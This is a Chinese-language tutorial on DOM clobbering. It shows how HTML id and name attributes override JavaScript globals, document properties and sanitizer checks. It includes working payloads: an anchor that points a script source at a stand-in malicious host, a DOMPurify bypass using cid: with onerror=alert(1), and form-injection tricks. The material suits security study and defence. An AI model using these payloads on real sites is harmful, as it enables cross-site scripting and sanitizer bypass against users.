基础知识
可以通过 HTML 标签中的 id
和 name
属性在 JS 上下文中生成 全局变量 。
Copy < form id = x ></ form >
< script > console .log ( typeof document .x) //[object HTMLFormElement] </ script >
只有 某些元素可以使用name属性 来覆盖全局变量,它们是:embed
、form
、iframe
、image
、img
和object
。
有趣的是,当你使用form元素 来覆盖 一个变量时,你将得到该元素本身的**toString
值: [object HTMLFormElement]
,但使用 anchor时, toString
将是锚点的 href
。因此,如果你使用 a
标签进行覆盖,你可以 控制当它被 视为字符串时的 值**:
Copy < a href = "controlled string" id = x ></ a >
< script >
console .log (x); //controlled string
</ script >
数组与属性
也可以覆盖一个数组 和对象属性 :
Copy < a id = x >
< a id = x name = y href = controlled >
< script >
console .log (x[ 1 ]) //controlled
console .log ( x .y) //controlled
</ script >
要覆盖 第三个属性 (例如 x.y.z),您需要使用 form
:
Copy < form id = x name = y >< input id = z value = controlled ></ form >
< form id = x ></ form >
< script >
alert ( x . y . z .value) //controlled
</ script >
Clobbering更多属性是更复杂但仍然可能 ,使用ifram:
Copy < iframe name = x srcdoc = "<a id=y href=controlled></a>" ></ iframe >
< style > @import 'https://google.com' ;</ style >
< script > alert ( x .y) //controlled </ script >
style标签用于给iframe足够的时间进行渲染 。没有它,你会发现一个未定义 的警告。
要覆盖更深层的属性,你可以使用带有HTML编码的iframes ,方法如下:
Copy <iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
< style > @import 'https://google.com' ;</ style >
< script >
alert ( a . b . c . d .e) //controlled
</ script >
过滤器绕过
如果一个过滤器正在使用类似 document.getElementByID('x').attributes
的方式循环 遍历一个节点的属性 ,你可以覆盖 属性**.attributes
并 破坏过滤器**。其他 DOM 属性如 tagName
、nodeName
或 parentNode
等也可以被覆盖 。
Copy < form id = x ></ form >
< form id = y >
< input name = nodeName >
</ form >
< script >
console .log ( document .getElementById ( 'x' ).nodeName) //FORM
console .log ( document .getElementById ( 'y' ).nodeName) //[object HTMLInputElement]
</ script >
覆盖 window.someObject
在JavaScript中,常常会发现:
Copy var someObject = window .someObject || {};
在页面上操纵 HTML 允许用 DOM 节点覆盖 someObject
,可能引入安全漏洞。例如,您可以用指向恶意脚本的锚元素替换 someObject
:
Copy < a id = someObject href = //malicious-website.com/malicious.js ></ a >
在一个易受攻击的代码中,例如:
Copy < script >
window . onload = function (){
let someObject = window .someObject || {};
let script = document .createElement ( 'script' );
script .src = someObject .url;
document . body .appendChild (script);
};
</ script >
此方法利用脚本源执行不必要的代码。
技巧 :DOMPurify
允许您使用 cid:
协议,这 不会对双引号进行 URL 编码 。这意味着您可以 注入一个在运行时会被解码的编码双引号 。因此,注入类似 <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
的内容将使 HTML 编码的 "
在 运行时解码 并 逃逸 出属性值以 创建 onerror
事件。
另一种技术使用 form
元素。某些客户端库检查新创建的表单元素的属性以进行清理。然而,通过在表单内添加一个 input
,其 id=attributes
,您有效地覆盖了属性属性,阻止了清理器访问实际属性。
您可以在 此 CTF 文章中找到此类覆盖的示例 。
覆盖文档对象
根据文档,可以使用 DOM Clobbering 覆盖文档对象的属性:
Document 接口 支持命名属性 。任何时刻的 Document 对象的 支持的属性名称 由以下内容组成,按照 树顺序 根据贡献它们的元素,忽略后来的重复,并且来自 id 属性的值在同一元素同时贡献两者时排在来自名称属性的值之前:
- 所有具有非空名称内容属性并且在以文档为 根 的 文档树 中的所有 exposed embed 、form 、iframe 、img 和 exposed object 元素的名称内容属性的值;
- 所有具有非空 id 内容属性并且在以文档为 根 的 文档树 中的所有 exposed object 元素的 id 内容属性的值;
- 所有具有非空 id 内容属性和非空名称内容属性的 img 元素的 id 内容属性的值,并且在以文档为 根 的 文档树 中。
使用此技术,您可以覆盖常用的 值,例如 document.cookie
、 document.body
、 document.children
,甚至文档接口中的方法,如 document.querySelector
。
Copy document .write ( "<img name=cookie />" )
document .cookie
< img name = "cookie" >
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("< form name =cookie><input id =toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
写入被覆盖的元素后
通过注入具有相同 id 属性的 <html>
或 <body>
标签,可以更改对 document.getElementById()
和 document.querySelector()
的调用结果。以下是实现方法:
Copy < div style = "display:none" id = "cdnDomain" class = "x" >test</ div >
< p >
< html id = "cdnDomain" class = "x" >clobbered</ html >
< script >
alert ( document .getElementById ( 'cdnDomain' ).innerText); // Clobbered
alert ( document .querySelector ( '.x' ).innerText); // Clobbered
</ script >
此外,通过使用样式隐藏这些注入的 HTML/body 标签,可以防止 innerText
中其他文本的干扰,从而增强攻击的有效性:
Copy < div style = "display:none" id = "cdnDomain" >test</ div >
< p >existing text</ p >
< html id = "cdnDomain" >clobbered</ html >
< style >
p { display : none ;}
</ style >
< script >
alert ( document .getElementById ( 'cdnDomain' ).innerText); // Clobbered
</ script >
对SVG的调查显示,<body>
标签也可以有效地利用:
Copy < div style = "display:none" id = "cdnDomain" >example.com</ div >
< svg >< body id = "cdnDomain" >clobbered</ body ></ svg >
< script >
alert ( document .getElementById ( 'cdnDomain' ).innerText); // Clobbered
</ script >
为了使HTML标签在像Chrome和Firefox这样的浏览器中的SVG中正常工作,必须使用<foreignobject>
标签:
Copy < div style = "display:none" id = "cdnDomain" >example.com</ div >
< svg >
< foreignobject >
< html id = "cdnDomain" >clobbered</ html >
</ foreignobject >
</ svg >
< script >
alert ( document .getElementById ( 'cdnDomain' ).innerText); // Clobbered
</ script >
Clobbering Forms
可以通过在某些标签中指定 form
属性来 在表单中添加新条目 。您可以利用这一点 在表单中添加新值 ,甚至添加一个新的 按钮 来 发送它 (点击劫持或滥用某些 .click()
JS 代码):
Copy <!--Add a new attribute and a new button to send-->
< textarea form = id-other-form name = info >
";alert(1);//
</ textarea >
< button form = id-other-form type = "submit" formaction = "/edit" formmethod = "post" >
Click to send!
</ button >
参考文献
Heyes, Gareth. JavaScript for hackers: 学习像黑客一样思考。